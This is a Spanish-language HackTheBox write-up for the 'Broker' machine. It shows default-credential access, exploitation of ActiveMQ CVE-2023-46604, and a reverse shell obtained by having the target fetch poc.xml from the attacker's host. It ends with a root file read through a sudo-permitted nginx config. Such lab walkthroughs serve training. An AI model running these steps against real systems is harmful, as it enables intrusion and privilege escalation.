Broker – HackTheBox
Dificultad: Easy
Sistema operativo: Linux
En esta máquina de nivel easy de HackTheBox, abordamos un escenario clásico de Remote Code Execution sin autenticación, explotando una aplicación web vulnerable expuesta públicamente. El servicio afectado corre sobre Nginx, el cual presenta una configuración incorrecta que nos permite escalar privilegios una vez obtenemos acceso inicial.
Durante la explotación, se combinan técnicas de:
- 🔓 Acceso inicial mediante RCE sin credenciales
- 🔧 Escalada de privilegios aprovechando una mala configuración de Nginx
Este writeup documenta paso a paso el proceso de explotación, desde el reconocimiento inicial hasta la obtención de la flag de root.
⚠️ Este contenido es exclusivamente educativo y está orientado a mejorar habilidades de pentesting ético.
🔍 Enumeración inicial
Comenzamos con un escaneo completo de puertos utilizando nmap
, con scripts de detección (-sC
), escaneo de todos los puertos (-p-
) y máxima velocidad (-T5
):
nmap -sC -p- -T5 10.10.11.243
Este escaneo nos revela varios servicios abiertos, pero nos centramos en los más relevantes:
- Puerto 22/tcp – SSH
- Puerto 80/tcp – HTTP
El servicio SSH está activo, pero sin credenciales iniciales no podemos interactuar aún. En cambio, el puerto 80 nos da acceso a una aplicación web que será el punto de entrada para la explotación.
💡 Consejo: Siempre escanea todos los puertos (
-p-
) en máquinas CTF. Muchos servicios clave se esconden fuera del rango estándar.
🌐 Acceso a la aplicación web
Accedemos a la URL introduciendo directamente la IP en el navegador:
http://10.10.11.243
Al hacerlo, se muestra una ventana emergente solicitando credenciales de acceso. Este tipo de autenticación corresponde a autenticación básica HTTP, gestionada directamente por el navegador.
Intentamos acceder utilizando credenciales típicas y descubrimos que el usuario y contraseña son ambos admin
. Esto nos permite acceder a la aplicación web.
🛠️ Exploración de ActiveMQ
Una vez dentro de la aplicación, descubrimos que el sistema utiliza ActiveMQ, un popular broker de mensajería que implementa el protocolo JMS (Java Message Service). ActiveMQ permite la comunicación entre aplicaciones mediante el intercambio de mensajes en colas y tópicos, facilitando la integración de sistemas distribuidos.
Exploramos las opciones disponibles y hacemos clic en Manage ActiveMQ Broker, que parece ofrecer funcionalidades avanzadas para la gestión del broker de mensajería. Al hacer clic, somos redirigidos a /admin
y podemos ver la versión, 5.15.15.
Realizamos una búsqueda rápida y descubrimos que el sistema tiene una vulnerabilidad conocida asociada: CVE-2023-46604.
¿Qué es el CVE-2023-46604?
El CVE-2023-46604 es una vulnerabilidad crítica en ActiveMQ que permite a un atacante remoto ejecutar código arbitrario en el servidor afectado. Esto se debe a una validación insuficiente de las entradas en ciertas configuraciones del broker, lo que puede ser explotado mediante el envío de mensajes especialmente diseñados.
🚀 Explotación de la vulnerabilidad
Para explotar esta vulnerabilidad, utilizamos un exploit disponible en el siguiente repositorio de GitHub: CVE-2023-46604 Exploit.
Pasos para la explotación:
-
Descargamos los archivos del repositorio:
CVE-2023-46604 Exploit -
Editamos el archivo
poc.xml
para incluir nuestra dirección IP y puerto, que serán utilizados para establecer la conexión inversa (reverse shell) o ejecutar el payload. -
Colocamos el archivo
poc.xml
en un directorio accesible y levantamos un servidor HTTP para que el servidor vulnerable pueda acceder al XML:sudo python3 -m http.server 80
-
Iniciamos un listener con
netcat
para recibir la reverse shell:nc -lvnp 7777
Esto nos permitirá obtener acceso remoto si el exploit se ejecuta correctamente.
💡 Consejo: El archivo
poc.xml
debe estar disponible públicamente porque ActiveMQ lo carga desde una URL externa. Asegúrate de que tu IP sea accesible desde la máquina víctima y que el puerto esté abierto.
🚀 Ejecución del exploit
Una vez que el entorno está preparado y el archivo poc.xml
es accesible desde el servidor vulnerable, ejecutamos el exploit con el siguiente comando:
python3 exploit.py -ip <ip_target> -c http://<tu_ip>/poc.xml
<ip_target>
: Dirección IP de la máquina víctima (ActiveMQ).<tu_ip>
: Dirección IP de tu máquina atacante, donde está alojado el archivopoc.xml
.
Este comando envía la carga maliciosa al servidor ActiveMQ, que al procesar el XML descargado desde tu servidor HTTP, ejecutará el payload y establecerá una reverse shell hacia tu listener.
⚠️ Importante: Asegúrate de que el puerto del servidor HTTP (por defecto 80) y el puerto del listener (por ejemplo 7777) estén abiertos y accesibles desde la máquina objetivo.
✅ Confirmación de la explotación
Tras ejecutar el exploit, observamos que el servidor HTTP ha recibido una solicitud para el archivo poc.xml
, lo que indica que el servidor ActiveMQ ha interactuado con nuestro payload:
Poco después, nuestro listener en netcat
recibe una conexión desde la máquina víctima, confirmando que la reverse shell se ha establecido correctamente:
🐚 Éxito: Hemos obtenido acceso remoto al servidor mediante una shell interactiva. A partir de aquí, podemos comenzar la post-explotación y escalado de privilegios.
📂 Obtención de la user.txt
Una vez dentro de la máquina, ejecutamos los siguientes comandos para localizar y leer el archivo user.txt
, típico en entornos CTF:
whoami
cd /home/<usuario>
ls
Estos comandos nos permiten identificar el usuario actual, movernos a su directorio personal y listar los archivos disponibles. Observamos que el archivo user.txt
está presente:
Procedemos a leer su contenido con:
cat user.txt
Esto nos revela la primera flag del reto:
🏁 Flag obtenida: El archivo
user.txt
suele contener la primera prueba de acceso exitoso en máquinas CTF. Guarda el valor y continúa con la enumeración para escalar privilegios.
🖥️ Mejora de la terminal
Para facilitar el escalado de privilegios y mejorar la interacción con la terminal, ejecutamos los siguientes comandos:
Ctrl+Z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash
Explicación
- Ctrl+Z: Suspende el proceso actual y lo coloca en segundo plano.
- stty raw -echo; fg: Configura la terminal en modo raw y recupera el proceso suspendido al primer plano.
- export TERM=xterm: Establece el tipo de terminal como
xterm
, mejorando la compatibilidad con comandos interactivos. - export SHELL=/bin/bash: Cambia el shell actual a
bash
, proporcionando una experiencia más completa y funcional.
🛠️ Consejo: Estos ajustes son útiles para ejecutar herramientas avanzadas y scripts que requieren una terminal interactiva.
🔝 Escalada de privilegios
Entramos como el usuario activemq
y ejecutamos el comando sudo -l
para listar los permisos sudo del usuario actual:
sudo -l
Observamos que el usuario tiene permisos de sudo sobre /usr/sbin/nginx
sin necesidad de contraseña (ALL NOPASSWD
). Esto nos permite ejecutar el binario de nginx
con privilegios elevados
Este binario se ejecuta con permisos de root, lo que abre la posibilidad de buscar una forma de explotación para escalar privilegios.
⚠️ Nota: Es importante investigar cómo aprovechar los permisos sobre
nginx
, ya que al ejecutarse como root puede permitir la ejecución de comandos arbitrarios o la manipulación de archivos sensibles.
⚙️ Explotación de permisos sudo sobre nginx
Dado que podemos ejecutar /usr/sbin/nginx
como root sin contraseña, se nos ocurre utilizar una configuración personalizada para iniciar un servidor nginx que nos permita acceder a archivos restringidos.
Creamos un archivo de configuración llamado root.conf con el siguiente contenido:
user root;
worker_processes 1;
events {
worker_connections 1024;
}
http {
server {
listen 8080;
root /root;
autoindex on;
location /flag {
alias /root/flag.txt;
}
}
}
Explicación
user root;
: Ejecuta el servidor como el usuario root.listen 8080;
: El servidor escucha en el puerto 8080.root /root;
: Define el directorio raíz como/root
, donde suelen estar archivos sensibles.autoindex on;
: Permite listar los archivos del directorio si se accede directamente.location /flag { alias /root/flag.txt; }
: Crea una ruta/flag
que apunta directamente al archivoflag.txt
.
Ejecución
-
Guardamos el archivo de configuración en
/home/activemq/root.conf
. -
Iniciamos el servidor nginx con privilegios root usando el archivo personalizado:
sudo nginx -c /<RUTA_ABSOLUTA/root.conf>
- Accedemos a la URL
http://127.0.0.1:8080/flag
desde la máquina comprometida para leer el contenido del archivoflag.txt
.
🐚 Éxito: Si el archivo de configuración se ejecuta correctamente, podremos leer el contenido del archivo
flag.txt
y completar la explotación.